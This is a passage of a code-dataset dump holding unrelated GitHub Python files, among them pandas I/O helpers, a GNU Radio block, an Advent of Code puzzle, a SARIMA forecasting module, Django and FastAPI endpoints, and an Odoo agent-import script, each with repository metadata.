stored\r\n\r\n Supported formats are:\r\n - parquet\r\n - feather\r\n - pkl | pickle\r\n - hdf\r\n Raises:\r\n ValueError: In the event of an unsupported serialization format\r\n\r\n Returns:\r\n Optional[pd.DataFrame]: Loaded data as Pandas DataFrame. Empty if no data exists at specified path\r\n \"\"\"\r\n ext = path.rsplit(\".\", 1)[-1].lower().strip()\r\n try:\r\n if ext == \"parquet\":\r\n df = pd.read_parquet(path)\r\n elif ext == \"feather\":\r\n df = pd.read_feather(path)\r\n elif ext in (\"pkl\" \"pickle\"):\r\n df = pd.read_pickle(path)\r\n elif ext == \"xlsx\":\r\n df = pd.read_excel(path)\r\n elif ext == \"hdf\":\r\n df = pd.read_hdf(path, key=\"data\")\r\n else:\r\n raise ValueError(\r\n f\"Invalid extension in path, '{ext}' is not a supported serialization format\"\r\n )\r\n except FileNotFoundError:\r\n df = pd.DataFrame()\r\n except ValueError: # For json\r\n df = pd.DataFrame()\r\n\r\n return df\r\n\r\n\r\ndef results_save(data: pd.DataFrame, path: str):\r\n \"\"\"Saves data to a file in path in specified serialization format (by file extensions)\r\n\r\n Args:\r\n data (pd.DataFrame): Pandas DataFrame data\r\n path (str): Path where to store the data\r\n\r\n Supported formats are:\r\n - parquet\r\n - feather\r\n - pkl | pickle\r\n - hdf\r\n\r\n Raises:\r\n ValueError: In the event of unsupported serialization format\r\n \"\"\"\r\n ext = path.rsplit(\".\", 1)[-1].lower().strip()\r\n\r\n if ext == \"parquet\":\r\n data.to_parquet(path)\r\n elif ext == \"feather\":\r\n data.to_feather(path)\r\n elif ext in (\"pkl\" \"pickle\"):\r\n data.to_pickle(path)\r\n elif ext == \"xlsx\":\r\n data.to_excel(path)\r\n elif ext == \"hdf\":\r\n data.to_hdf(path, key=\"data\")\r\n else:\r\n raise ValueError(\r\n f\"Invalid extension in path, '{ext}' is not a supported serialization format\"\r\n )\r\n","repo_name":"strny0/formsite-utility","sub_path":"formsite_util/_cache.py","file_name":"_cache.py","file_ext":"py","file_size_in_byte":3614,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"32"} +{"seq_id":"8121438960","text":"import numpy\nfrom gnuradio import gr\nimport pmt\n\nclass message_lambda(gr.basic_block):\n \"\"\"\n docstring for block message_lambda\n \"\"\"\n def __init__(self, fn):\n gr.basic_block.__init__(self,\n name=\"message_lambda\",\n in_sig=[],out_sig=[])\n self.set_fn(fn)\n self.message_port_register_in(pmt.intern(\"msg\"))\n self.message_port_register_out(pmt.intern(\"msg\"))\n self.set_msg_handler(pmt.intern(\"msg\"), self.handle_msg)\n\n def handle_msg(self, msg):\n try:\n msg = self.fn(msg)\n self.message_port_pub(pmt.intern(\"msg\"), msg)\n except:\n pass\n\n def set_fn(self,fn):\n self.fn = fn\n","repo_name":"jacobagilbert/gr-pylambda","sub_path":"python/message_lambda.py","file_name":"message_lambda.py","file_ext":"py","file_size_in_byte":695,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"21042011985","text":"from collections import deque\nimport heapq\nimport math\n\nclass Monke():\n '''Monke stuff.'''\n\n def __init__(self, items, _lambda, div_num, true_monke, false_monke) -> None:\n self.items = items\n self._lambda = _lambda\n self.div_num = div_num\n self.true_monke = true_monke\n self.false_monke = false_monke\n self.items_thrown = 0\n\n def __str__(self) -> str:\n return ('Monke(items: ' + str(self.items)\n + ', lambda: ' + str(self._lambda)\n + ', divisible by ' + str(self.div_num)\n + ', if true throw to monke ' + str(self.true_monke)\n + ', if false throw to monke ' + str(self.false_monke)\n + ', items thrown ' + str(self.items_thrown) + ')')\n\n def __lt__(self, other):\n return self.items_thrown <= other.items_thrown\n\n def get_item(self, item):\n '''Appeds item to monke.'''\n self.items.append(item)\n\n def test_is_true(self):\n '''Tests wether or not first item is divisible by div_num.'''\n return self.items[0] % self.div_num == 0\n\n def throw_item(self, target_monke):\n '''Throw first item to target monke.'''\n target_monke.get_item(self.items.popleft())\n self.items_thrown += 1\n\n def inspect_item(self, mod):\n '''Inspects first element, increasing worry levels, then\n dividing it by three and returning the floor.'''\n item = self._lambda(self.items.popleft()) % mod\n self.items.appendleft(item)\n\n def throw_items(self, monkes, mod):\n '''Inspect, test and throw each item the monke has.'''\n while self.items:\n self.inspect_item(mod)\n target_monke = self.true_monke if self.test_is_true() else self.false_monke\n self.throw_item(monkes[target_monke])\n\ndef start_round(monkes, mod):\n '''Makes each monke throw its items.'''\n for monke in monkes:\n monke.throw_items(monkes, mod)\n\ndef get_monkes():\n '''Reads monkes to input and returns a double ended queue of monkes.'''\n monkes = []\n for monke in open(\"Day11\\input\", mode='r').read().split('\\n\\n'):\n monke_properties = monke.split('\\n')\n items = deque(map(int, monke_properties[1].split(': ')[1].split(', ')))\n _lambda = eval('lambda old: ' + monke_properties[2].split('= ')[1])\n div_num = int(monke_properties[3].split('by')[1])\n true_monke = int(monke_properties[4].split('monkey')[1])\n false_monke = int(monke_properties[5].split('monkey')[1])\n monkes.append(Monke(items, _lambda, div_num, true_monke, false_monke))\n return monkes\n\ndef get_monke_mod(monkes):\n '''Because worry levels grow really fast, the product of all monke's\n div_num is used as mod after every item inspection. This method\n calculates said product and returns it.'''\n ans = 1\n for monke in monkes:\n ans *= monke.div_num\n return ans\n\ndef make_monke_business(monkes, rounds, mod):\n '''Returns monkes after a specific amount of rounds.'''\n for _ in range(rounds):\n start_round(monkes, mod)\n return monkes\n\ndef main():\n '''prints monke business'''\n monkes = get_monkes()\n monkes = make_monke_business(monkes, 10000, get_monke_mod(monkes))\n heapq.heapify(monkes)\n ans = heapq.nlargest(2, monkes)\n print(ans[0].items_thrown * ans[1].items_thrown)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"YoshiBrightside/AdventOfCode2022","sub_path":"Day11/part2.py","file_name":"part2.py","file_ext":"py","file_size_in_byte":3428,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"28533895932","text":"# Greeting.\nprint(\"Welcome to the Tip Calculator.\")\n\n# Total bill amount.\nbill_val = float(input(\"What was the total bill? $\"))\n\n# Tip percentage.\ntip_val = int(input(\"What percentage tip would you like to give? 10, 12, or 15? \"))\ntip_pct = tip_val / 100\n\n# Bill including tip amount.\nbill_incl_tip = bill_val * (1 + tip_pct)\n\n# Split by number.\nsplit_val = int(input(\"How many people to split the bill? \"))\n# split_bill = round(bill_incl_tip / split_val, 2)\n\n# Use formatting to display 0's in decimals.\nsplit_bill = \"{:.2f}\".format(bill_incl_tip / split_val, 2)\n\n# Output message.\nmessage = (f\"Each person should pay: ${split_bill}\")\nprint(message)","repo_name":"solitaire286/100DaysOfCode","sub_path":"Day 2/3.3-tip-calculator.py","file_name":"3.3-tip-calculator.py","file_ext":"py","file_size_in_byte":650,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"72165890970","text":"# -*- coding:utf-8 -*-\n# vnpy同步两个数据库表\nimport sqlite3\nimport time\n\n\nif __name__ == \"__main__\":\n start_time = time.time()\n\n database_path = \"/.vntrader/database.db\"\n\n # 原始/数据源数据库\n read_db_connect = sqlite3.connect(database_path)\n read_cursor = read_db_connect.cursor()\n # 本地/同步数据库\n write_db_connect = sqlite3.connect(database_path)\n write_cursor = write_db_connect.cursor()\n\n write_cursor.execute(\"select max(id) from dbbardata_copy1\")\n id_result = write_cursor.fetchone()[0]\n max_id = 0 if id_result is None else id_result\n\n query_sql = \"\"\"\n select \n id, symbol, exchange, datetime, interval, volume, open_interest, open_price, high_price, low_price, close_price\n from dbbardata \n where id > %s \n order by id\n \"\"\" % max_id\n\n read_cursor.execute(query_sql)\n results = read_cursor.fetchall()\n\n print(\"开始导入数据...\")\n\n for row in results:\n insert_sql = \"\"\"\n insert into \n dbbardata_copy1(id, symbol, exchange, datetime, interval, volume, open_interest, open_price, high_price, low_price, close_price)\n values ('%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s')\n \"\"\" % row\n write_cursor.execute(insert_sql)\n write_db_connect.commit()\n\n read_cursor.close()\n write_cursor.close()\n read_db_connect.close()\n write_db_connect.close()\n\n print(f\"数据导入成功,导入行数{len(results)},耗时{time.time()-start_time}s\")\n\n","repo_name":"caizhanjin/self_vnpy","sub_path":"script/sync_db.py","file_name":"sync_db.py","file_ext":"py","file_size_in_byte":1535,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"6770146958","text":"import datetime\nfrom typing import List\nfrom sqlalchemy.orm import Session\nfrom enum import Enum\nimport os\nfrom app.db.db_models import Vacancy, File\nfrom app.schemas import vacancy as vacancy_schema\n\n\nclass SortValues(str, Enum):\n default = \"default\"\n new = \"new\"\n cheaper = \"cheaper\"\n expensive = \"expensive\"\n\n\ndef create_vacancy(db: Session, vacancy: vacancy_schema.VacancyCreate, user_id: int):\n db_vacancy = Vacancy(userId=user_id,\n title=vacancy.title,\n description=vacancy.description,\n budget=vacancy.budget,\n name=vacancy.name,\n email=vacancy.email,\n phone=vacancy.phone,\n createdAt=datetime.datetime.utcnow())\n db.add(db_vacancy)\n db.commit()\n db.refresh(db_vacancy)\n return db_vacancy\n\n\ndef get_vacancy_by_id(db: Session, vacancy_id: int):\n db_vacancy = db.query(Vacancy).filter(Vacancy.id == vacancy_id).first()\n if db_vacancy:\n return db_vacancy\n else:\n return False\n\n\ndef get_vacancy_by_id_and_user_id(db: Session, vacancy_id: int, user_id: int):\n db_vacancy = db.query(Vacancy).filter(Vacancy.id == vacancy_id, Vacancy.userId == user_id).first()\n if db_vacancy:\n return db_vacancy\n else:\n return False\n\n\ndef delete_vacancy_by_id(db: Session, vacancy: Vacancy):\n if vacancy:\n db.delete(vacancy)\n db.commit()\n\n\ndef get_vacancy_out(vacancy: Vacancy, files: List[File]):\n vacancy_dict = vacancy.__dict__\n vacancy_dict[\"user\"] = vacancy.user.__dict__\n files_dicts = [i.__dict__ for i in files if os.path.exists(i.patch)]\n vacancy_dict[\"files\"] = files_dicts\n vacancy_out = vacancy_schema.VacancyOut(**vacancy_dict)\n return vacancy_out\n","repo_name":"INDEX-GG/wd_fastapi","sub_path":"app/crud/vacancy.py","file_name":"vacancy.py","file_ext":"py","file_size_in_byte":1822,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"27006295947","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nimport statsmodels.api as sm\n#import statsmodels as sm\nfrom statsmodels.graphics.tsaplots import plot_acf, plot_pacf\nfrom statsmodels.tsa.stattools import adfuller\nfrom tqdm import tqdm_notebook\n\n\n\ndef tsplot(y, lags=None, figsize=(12, 7), style='bmh'):\n \"\"\"\n Plot time series, its ACF and PACF, calculate Dickey–Fuller test\n \n y - timeseries\n lags - how many lags to include in ACF, PACF calculation\n \"\"\"\n if not isinstance(y, pd.Series):\n y = pd.Series(y)\n \n with plt.style.context(style): \n fig = plt.figure(figsize=figsize)\n layout = (2, 2)\n ts_ax = plt.subplot2grid(layout, (0, 0), colspan=2)\n acf_ax = plt.subplot2grid(layout, (1, 0))\n pacf_ax = plt.subplot2grid(layout, (1, 1))\n \n y.plot(ax=ts_ax)\n p_value = adfuller(y)[1]\n ts_ax.set_title('Time Series Analysis Plots\\n Dickey-Fuller: p={0:.5f}'.format(p_value))\n plot_acf(y, lags=lags, ax=acf_ax)\n plot_pacf(y, lags=lags, ax=pacf_ax)\n plt.tight_layout()\n plt.show()\n\n\n\n\n# Optimize parameters\ndef optimizeSARIMA(series, parameters_list, d, D, s):\n \"\"\"\n Return dataframe with parameters and corresponding AIC\n \n parameters_list - list with (p, q, P, Q) tuples\n d - integration order in ARIMA model\n D - seasonal integration order \n s - length of season\n \"\"\"\n \n results = []\n best_aic = float(\"inf\")\n\n for param in tqdm_notebook(parameters_list):\n # we need try-except because on some combinations model fails to converge\n try:\n model=sm.tsa.statespace.SARIMAX(series, order=(param[0], d, param[1]), \n seasonal_order=(param[2], D, param[3], s)).fit(disp=-1) # first element was originally param[3] \n \n except:\n continue\n aic = model.aic\n \n # saving best model, AIC and parameters\n if aic < best_aic:\n best_model = model\n best_aic = aic\n best_param = param\n \n results.append([param, model.aic])\n\n result_table = pd.DataFrame(results)\n result_table.columns = ['parameters', 'aic']\n \n # sorting in ascending order, the lower AIC is - the better\n result_table = result_table.sort_values(by='aic', ascending=True).reset_index(drop=True)\n \n return result_table\n\n\n\n\ndef mean_absolute_percentage_error(y_true, y_pred): \n return np.mean(np.abs((y_true - y_pred) / y_true)) * 100\n\n\n\ndef plotSARIMA(series, model, n_steps, s, d):\n \"\"\"\n Plots model vs predicted values\n \n series - dataset with timeseries\n model - fitted SARIMA model\n n_steps - number of steps to predict in the future\n \n \"\"\"\n # adding model values\n data = series.copy()\n data.columns = ['actual']\n data['arima_model'] = model.fittedvalues\n \n # making a shift on s+d steps, because these values were unobserved by the model\n # due to the differentiating\n #data['arima_model'][:s+d] = np.NaN\n \n # forecasting on n_steps forward \n forecast = model.predict(start = data.shape[0], end = data.shape[0]+n_steps)\n forecast = data.arima_model.append(forecast)\n \n # calculate error, again having shifted on s+d steps from the beginning\n error = mean_absolute_percentage_error(data['actual'][s+d:], data['arima_model'][s+d:])\n\n plt.figure(figsize=(15, 7))\n plt.title(\"Mean Absolute Percentage Error: {0:.2f}%\".format(error))\n plt.plot(forecast, color='r', label=\"model\")\n plt.axvspan(data.index[-1], forecast.index[-1], alpha=0.5, color='lightgrey')\n plt.plot(data.actual, label=\"actual\")\n plt.legend()\n plt.grid(True)\n plt.show();\n \n return forecast","repo_name":"medemel/portfolio","sub_path":"time_series/SARIMA.py","file_name":"SARIMA.py","file_ext":"py","file_size_in_byte":3852,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"27417107544","text":"# Libraries used by this file\r\nfrom tkinter import ttk\r\nimport tkinter as tk\r\n\r\n\r\n# Class for Pre-Information Page\r\nclass Pre_information_page:\r\n def create(self):\r\n # Creating Labels\r\n self.infotitle = ttk.Label(self, text=\" Information \",\r\n font=('Mangabey', 50, 'underline'))\r\n self.nametext = ttk.Label(self, text=\"Enter Name\",\r\n font=('Mangabey', 25))\r\n self.footer = ttk.Label(self, text=\"© Developed by Luka Jeremic\",\r\n font=(\"impact\", 8))\r\n # Placing Labels\r\n self.infotitle.place(x=225, y=0)\r\n self.nametext.place(x=310, y=130)\r\n self.footer.place(x=0, y=451)\r\n # Make an Entry for NameInput\r\n self.nameinput = ttk.Entry(self, width=13, font=(\"Cambria bold\", 13))\r\n # Place the Entry\r\n self.nameinput.place(x=227, y=185)\r\n # Create buttons to move from Pre-Information page\r\n self.buttonMain = tk.Button(self, text=\"Main Menu\", font=('Clip', 22),\r\n command=lambda: self.change_page(0))\r\n self.finduser = tk.Button(self, text=\"Find User\", font=('Clip', 16),\r\n command=lambda:\r\n self.getdata(self.nameinput.get()))\r\n # Place the buttons\r\n self.buttonMain.place(x=240, y=360, width=260, height=60)\r\n self.finduser.place(x=377, y=185, width=130, height=36)\r\n","repo_name":"RemiKOO/MagsTimerApp","sub_path":"PreInformationpage.py","file_name":"PreInformationpage.py","file_ext":"py","file_size_in_byte":1498,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"2870599127","text":"import sys\nimport os\nfrom openerp.osv import osv, orm, fields\nfrom datetime import datetime, timedelta\nimport logging\n\n\n_logger = logging.getLogger(__name__)\n\nclass MicronaetAccounting(orm.Model):\n ''' Extend for add quey used\n ''' \n _inherit = 'micronaet.accounting'\n\n def get_partner_agent_from_commercial_range(\n self, cr, uid, from_code, to_code, context=None):\n ''' Import partner extra commercial info\n Table: PA_RUBR_PDC_CLFR\n '''\n table = 'pa_rubr_pdc_clfr'\n if self.pool.get('res.company').table_capital_name(\n cr, uid, context=context):\n table = table.upper()\n\n cursor = self.connect(cr, uid, context=context) \n try:\n cursor.execute(\"\"\"\n SELECT CKY_CNT, CDS_CNT \n FROM %s \n WHERE \n CKY_CNT_AGENTE >= '%s' AND\n CKY_CNT_AGENTE < '%s'\n ;\"\"\" % (table, from_code, to_code))\n return cursor # with the query setted up \n except: \n _logger.error(\"Executing query %s: [%s]\" % (\n table,\n sys.exc_info(), ))\n return False \n\n def get_partner_agent_from_commercial(self, cr, uid, context=None):\n ''' Import partner extra commercial info\n Table: PC_CONDIZIONI_COMM\n '''\n table = \"pc_condizioni_comm\"\n if self.pool.get('res.company').table_capital_name(\n cr, uid, context=context):\n table = table.upper()\n\n cursor = self.connect(cr, uid, context=context) \n try:\n cursor.execute(\"\"\"\n SELECT DISTINCT CKY_CNT_AGENTE \n FROM %s WHERE CKY_CNT_AGENTE != '';\"\"\" % table)\n return cursor # with the query setted up \n except: \n _logger.error(\"Executing query %s: [%s]\" % (\n table,\n sys.exc_info(), ))\n return False # Error return nothing\n\n def get_partner_agent_linked_to_agent(self, cr, uid, context=None):\n ''' Import partner extra commercial info\n Table: PC_CONDIZIONI_COMM linked to partner\n '''\n table = \"pc_condizioni_comm\"\n if self.pool.get('res.company').table_capital_name(\n cr, uid, context=context):\n table = table.upper()\n\n cursor = self.connect(cr, uid, context=context) \n try:\n cursor.execute(\"\"\"\n SELECT DISTINCT CKY_CNT, CKY_CNT_AGENTE \n FROM %s WHERE CKY_CNT_AGENTE != '';\"\"\" % table)\n return cursor # with the query setted up \n except: \n _logger.error(\"Executing query %s: [%s]\" % (\n table,\n sys.exc_info(), ))\n return False\n\nclass ResCompany(orm.Model):\n ''' Extend res.company for agent\n ''' \n _inherit = 'res.company'\n \n _columns = {\n 'sql_agent_from_code': fields.char('SQL From agent >=', size=3), \n 'sql_agent_to_code': fields.char('SQL To agent <', size=3), \n }\n\nclass ResPartner(orm.Model):\n ''' Extend res.partner for agent\n ''' \n _inherit = 'res.partner'\n \n _columns = {\n 'is_agent': fields.boolean('Is agent'),\n 'sql_agent_code': fields.char('Agent code', size=10),\n 'agent_id': fields.many2one('res.partner', 'Agent', \n domain=[('is_agent', '=', True)]),\n 'user_agent_id': fields.many2one('res.users', 'User linked', \n help='Used to setup commercial'),\n \n # TODO move in another module: \n 'hide_statistic': fields.boolean('Hide in statistic',\n help='Hide in invoice statistic'), \n }\n \n # -------------------------------------------------------------------------\n # Scheduled action\n # ------------------------------------------------------------------------- \n def schedule_sql_partner_agent_import_norange(self, cr, uid, \n only_precence=True, verbose_log_count=100, context=None):\n ''' Import partner agent info\n Variant of original procedure for import withoun range\n '''\n try:\n _logger.info('Start import agent (no range)')\n \n # Pool used:\n partner_proxy = self.pool.get('res.partner')\n company_pool = self.pool.get('res.company')\n\n # -------------------------------------------------------------\n # Fast creation of partner (only name for agent from - to code:\n # -------------------------------------------------------------\n company_proxy = company_pool.get_from_to_dict(\n cr, uid, context=context)\n if not company_proxy:\n _logger.error('Company parameters not setted up!')\n\n # -----------------------------------------------------------------\n # Customer range\n # -----------------------------------------------------------------\n from_code = company_proxy.sql_agent_from_code\n to_code = company_proxy.sql_agent_to_code\n \n # TODO locked part for now!!\n if False and from_code and fo_code: \n cursor = self.pool.get('micronaet.accounting'\n ).get_partner_agent_from_commercial_range(\n cr, uid, from_code, to_code, context=context) \n if not cursor:\n _logger.error(\n \"Unable to connect, no importation commercial list!\")\n return False\n\n _logger.info('Start import from: %s to: %s' % (\n from_code, to_code))\n for record in cursor:\n try: \n data = {\n 'name': record['CDS_CNT'],\n 'is_agent': True,\n 'sql_agent_code': record['CKY_CNT'],\n #'agent_id': False,\n }\n\n # Search code to update:\n partner_ids = partner_proxy.search(cr, uid, [\n ('sql_agent_code', '=', record['CKY_CNT'])])\n if partner_ids: # update\n partner_proxy.write(\n cr, uid, partner_ids, data, context=context)\n else: \n partner_proxy.create(\n cr, uid, data, context=context)\n except:\n _logger.error(\n 'Error importing agent [%s], jumped: %s' % (\n record['CKY_CNT'], \n sys.exc_info())\n )\n _logger.info('All partner agent range is updated!')\n \n # -----------------------------------------------------------------\n # Create / Update agent in ODOO:\n # -----------------------------------------------------------------\n # MySQL read agent list:\n cursor = self.pool.get(\n 'micronaet.accounting').get_partner_agent_from_commercial(\n cr, uid, context=context)\n if not cursor:\n _logger.error(\n 'Unable to connect, no importation partner agent!')\n return False\n\n i = 0\n agent_list = {} # for speed up operations\n for record in cursor:\n i += 1\n if verbose_log_count and i % verbose_log_count == 0:\n _logger.info('Import: %s record imported / updated!' % i) \n try:\n agent_code = record['CKY_CNT_AGENTE']\n # Search code to update:\n partner_ids = partner_proxy.search(cr, uid, [\n ('sql_supplier_code', '=', agent_code)])\n\n if partner_ids: # update\n partner_proxy.write(\n cr, uid, partner_ids, {\n 'is_agent': True,\n #'sql_agent_code': agent_code, << XXX supplier?\n #'agent_id': False, \n }, context=context)\n agent_list[agent_code] = partner_ids[0]\n _logger.info('Update Agent code: %s' % agent_code)\n \n else:\n _logger.error(\n 'Agent code not found (jump): %s' % agent_code)\n except:\n _logger.error(\n 'Error importing agent [%s], jumped: %s' % (\n agent_code, \n sys.exc_info()))\n\n # -----------------------------------------------------------------\n # Create / Update agent-partner in ODOO:\n # -----------------------------------------------------------------\n # Link agent to product:\n cursor = self.pool.get(\n 'micronaet.accounting').get_partner_agent_linked_to_agent(\n cr, uid, context=context)\n if not cursor:\n _logger.error(\n \"Unable to connect, no importation partner link agent!\")\n return False\n\n i = 0\n for record in cursor:\n i += 1\n if verbose_log_count and i % verbose_log_count == 0:\n _logger.info('Import: %s record imported / updated!' % i) \n try:\n # Field mapping:\n partner_code = record['CKY_CNT']\n agent_code = record['CKY_CNT_AGENTE']\n \n # Search code to update:\n partner_ids = partner_proxy.search(cr, uid, [\n '|',\n ('sql_customer_code', '=', partner_code),\n ('sql_supplier_code', '=', partner_code),\n ])\n\n if agent_code not in agent_list:\n _logger.warning(\n 'Agent code not found: %s' % agent_code)\n continue \n \n agent_id = agent_list[agent_code] \n if partner_ids: # update\n if len(partner_ids) > 1:\n _logger.warning(\n 'More than one partner: %s' % partner_code)\n \n partner_proxy.write(\n cr, uid, partner_ids[0], {\n #'is_agent': True,\n #'sql_agent_code': agent_code,\n 'agent_id': agent_id, \n }, context=context)\n _logger.info('Link partner %s agent %s' % (\n partner_code, agent_code))\n else:\n _logger.error(\n 'Partner code not found (jump): %s' % partner_code)\n continue \n except:\n _logger.error(\n 'Error importing agent [%s], jumped: %s' % (\n agent_code, \n sys.exc_info()))\n \n _logger.info('All partner agent is updated!')\n\n except:\n _logger.error('Error generic import partner agent: %s' % (\n sys.exc_info(), ))\n return False\n return True\n\n def schedule_sql_partner_agent_import(self, cr, uid, \n only_precence=True, verbose_log_count=100, context=None):\n ''' Import partner agent info\n '''\n try:\n return True # TODO import procedure (maybe not range for agent\n partner_proxy = self.pool.get('res.partner')\n company_pool = self.pool.get('res.company')\n company_proxy = company_pool.get_from_to_dict(\n cr, uid, context=context)\n if not company_proxy:\n _logger.error('Company parameters not setted up!')\n\n # -----------------------------------------------------------------\n # Customer range\n # -----------------------------------------------------------------\n # TODO not used for now!!!!\n from_code = company_proxy.sql_agent_from_code\n to_code = company_proxy.sql_agent_to_code\n \n cursor = self.pool.get(\n 'micronaet.accounting').get_partner_commercial(\n cr, uid, from_code, to_code, context=context) \n if not cursor:\n _logger.error(\n \"Unable to connect, no importation partner commercial list!\")\n return False\n\n _logger.info('Start import from: %s to: %s' % (\n from_code, to_code))\n i = 0\n for record in cursor:\n i += 1\n if verbose_log_count and i % verbose_log_count == 0:\n _logger.info('Import: %s record imported / updated!' % i)\n \n try: \n data = {\n 'is_agent': record['CKY_CNT_AGENTE'],\n 'sql_agent_code': record['CKY_CNT_AGENTE'],\n 'agent_id': False, \n }\n\n # Search code to update:\n partner_ids = partner_proxy.search(cr, uid, [\n ('sql_agent_code', '=', record['CKY_CNT'])])\n if partner_ids: # update\n partner_proxy.write(\n cr, uid, partner_ids, data, context=context)\n\n except:\n _logger.error(\n 'Error importing agent [%s], jumped: %s' % (\n record['CKY_CNT'], \n sys.exc_info())\n )\n \n _logger.info('All partner agent is updated!')\n except:\n _logger.error('Error generic import partner agent: %s' % (\n sys.exc_info(), ))\n return False\n return True\n# vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:\n","repo_name":"Micronaet/micronaet-sql","sub_path":"sql_partner_agent/agent.py","file_name":"agent.py","file_ext":"py","file_size_in_byte":14819,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"33210383008","text":"koszyk = [\n {'name':'mleko', 'cena': 12.5},\n {'name':'ser', 'cena': 4.0},\n {'name':'konsola gier', 'cena': 114.0}\n]\nprint(koszyk[0]['cena'])\nprint(koszyk[2]['cena'])\n\nstan_reguly ={'mleko': False,\n 'ser': False}\nbylo_mleko = False\n\nsuma = 0\nbylo_mleko = False\nbyl_ser = False\nfor poz in koszyk:\n suma = suma + poz['cena']\n nazwa_prod = poz['nazwa']\n if nazwa_prod == 'mleko':\n bylo_mleko = True\n if nazwa_prod == 'ser':\n byl_ser = True\nif bylo_mleko and byl_ser:\n suma = suma - (suma * 10) /100\n\n print(suma)\n","repo_name":"Luina12/python","sub_path":"osmy.py","file_name":"osmy.py","file_ext":"py","file_size_in_byte":577,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"33842723996","text":"from django.core.management.utils import get_random_secret_key\nfrom django.http import HttpResponseNotFound\nfrom drf_spectacular.types import OpenApiTypes\nfrom drf_spectacular.utils import extend_schema, OpenApiParameter\nfrom rest_framework.exceptions import ValidationError\nfrom rest_framework.renderers import TemplateHTMLRenderer\nfrom rest_framework.response import Response\nfrom rest_framework.views import APIView\nfrom core.models import CourseLinks, Course, StudentsCourse, User\nfrom join_links.serializers import JoinLinkSerializer, CourseLinkSerializer\nfrom rest_framework import (viewsets, permissions)\n\n\nclass JoinLink(APIView):\n renderer_classes = [TemplateHTMLRenderer]\n template_name = 'join_links/join-class.html'\n permission_classes = [permissions.AllowAny]\n\n def get(self, request, pk=None):\n if not pk:\n return HttpResponseNotFound('Incorrect join course link.')\n\n try:\n link = CourseLinks.objects.get(id=pk, active=True)\n except CourseLinks.DoesNotExist:\n return HttpResponseNotFound('There is no such join link or link is no longer active :(')\n except Exception as exc:\n return HttpResponseNotFound('There is incorrect join link :(')\n\n try:\n course = Course.objects.get(**{'id': link.course_id, 'active': True})\n except Course.DoesNotExist:\n return HttpResponseNotFound('There is no such course :(')\n\n serializer = JoinLinkSerializer({'email': ''})\n return Response({'serializer': serializer, 'course': course, 'link': link})\n\n def post(self, request, pk=None):\n try:\n link = CourseLinks.objects.get(id=pk, active=True)\n except CourseLinks.DoesNotExist:\n return HttpResponseNotFound('There is no such join link or link is no longer active :(')\n\n try:\n course = Course.objects.get(**{'id': link.course_id, 'active': True})\n except Course.DoesNotExist:\n return HttpResponseNotFound('There is no such course :(')\n\n serializer = JoinLinkSerializer(data=request.data)\n if not serializer.is_valid():\n return Response(template_name='join_links/failure.html')\n\n email = serializer.validated_data.get('email')\n\n try:\n user = User.objects.get(email=email)\n except User.DoesNotExist:\n return Response(template_name='join_links/failure.html')\n\n enroll_students = StudentsCourse.objects.filter(course=course, student=user)\n\n try:\n if not enroll_students:\n new_enrollment = StudentsCourse.objects.create(course=course, join_link=link, student=user, owner=user)\n new_enrollment.save()\n except Exception:\n return Response(template_name='join_links/failure.html')\n\n return Response(template_name='join_links/success.html')\n\n\nclass CourseLinksViewSet(viewsets.ModelViewSet):\n queryset = CourseLinks.objects.all()\n serializer_class = CourseLinkSerializer\n permission_classes = [permissions.IsAuthenticated]\n\n filterset_fields = {\n 'access_code': [\n 'icontains',\n 'exact',\n ]}\n\n search_fields = ['$access_code']\n ordering_fields = '__all__'\n\n keycloak_scopes = {\n 'GET': 'Class:view',\n 'POST': 'Class:add',\n 'PATCH': 'Class:update',\n 'PUT': 'Class:update',\n 'DELETE': 'Class:delete'\n }\n\n def perform_create(self, serializer):\n use_access_code = serializer.validated_data.get('use_access_code')\n access_code = serializer.validated_data.get('access_code')\n access_code = access_code if access_code and use_access_code else get_random_secret_key()\n serializer.save(owner=self.request.user, access_code=access_code)\n\n def perform_update(self, serializer):\n serializer.save(updated_by=self.request.user)\n\n @extend_schema(\n parameters=[\n OpenApiParameter('course_id', OpenApiTypes.UUID, OpenApiParameter.QUERY, required=True),\n ],\n )\n def list(self, request, *args, **kwargs):\n queryset = self.queryset\n\n course_id = self.request.query_params.get('course_id')\n\n if 'course_id' not in self.request.query_params:\n raise ValidationError('Missing required parameters course_id')\n\n self.queryset = queryset.filter(owner=self.request.user.id, course_id=course_id)\n\n return super().list(request, *args, **kwargs)\n","repo_name":"IvAndriets/VirtualClassBackend","sub_path":"api/join_links/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4472,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"30911428124","text":"\nfrom afanti_tiku_lib.html.beautify_html import remove_empty_elements\n\n\nhtml_strings = [\n '',\n '  \\r',\n '

  \\r

',\n '

  \\r

',\n '  ',\n '

  something

